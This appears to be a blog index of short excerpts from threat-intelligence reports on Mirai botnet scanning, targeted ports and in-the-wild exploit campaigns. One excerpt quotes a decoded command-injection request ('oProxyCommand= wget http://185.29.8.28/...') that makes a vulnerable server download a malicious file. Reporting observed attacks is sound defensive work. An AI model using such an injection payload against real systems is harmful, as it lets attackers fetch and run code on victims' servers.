Read MoreThe number of Mirai scanner systems across the world decreased slightly from December 2017 to June 2018. There is less concentration of scanner systems in North America, South America, and Asia in June 2018 versus December 2017. Europe is the only region where Mirai scanner infections remained relatively the same from December 2017 to June…
Read MoreAfter the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…
Read MoreComparing ports targeted in Canada versus the US, Europe, or Australia, Canada was the only region where DNS port 53 and the UPnP port 37215 were on the top 20 targeted port list.

Read MoreSecurity researchers at F5 Networks constantly monitor web traffic at various locations all over the world. This allows us to detect “in the wild” malware, and to get an insight into the current threat landscape. In December 2019, security researchers detected a 100% increase in new threat campaigns as compared to November 2019. This was…
Read MoreMirai is an IoT botnet (or thingbot) that F5 has discussed since 2016. It infamously took down large sections of the Internet in late 2016 and has remained active ever since. Its source code was released online in September 2016, allowing unskilled attackers to create a malicious botnet with relative ease. Mirai continues to target…
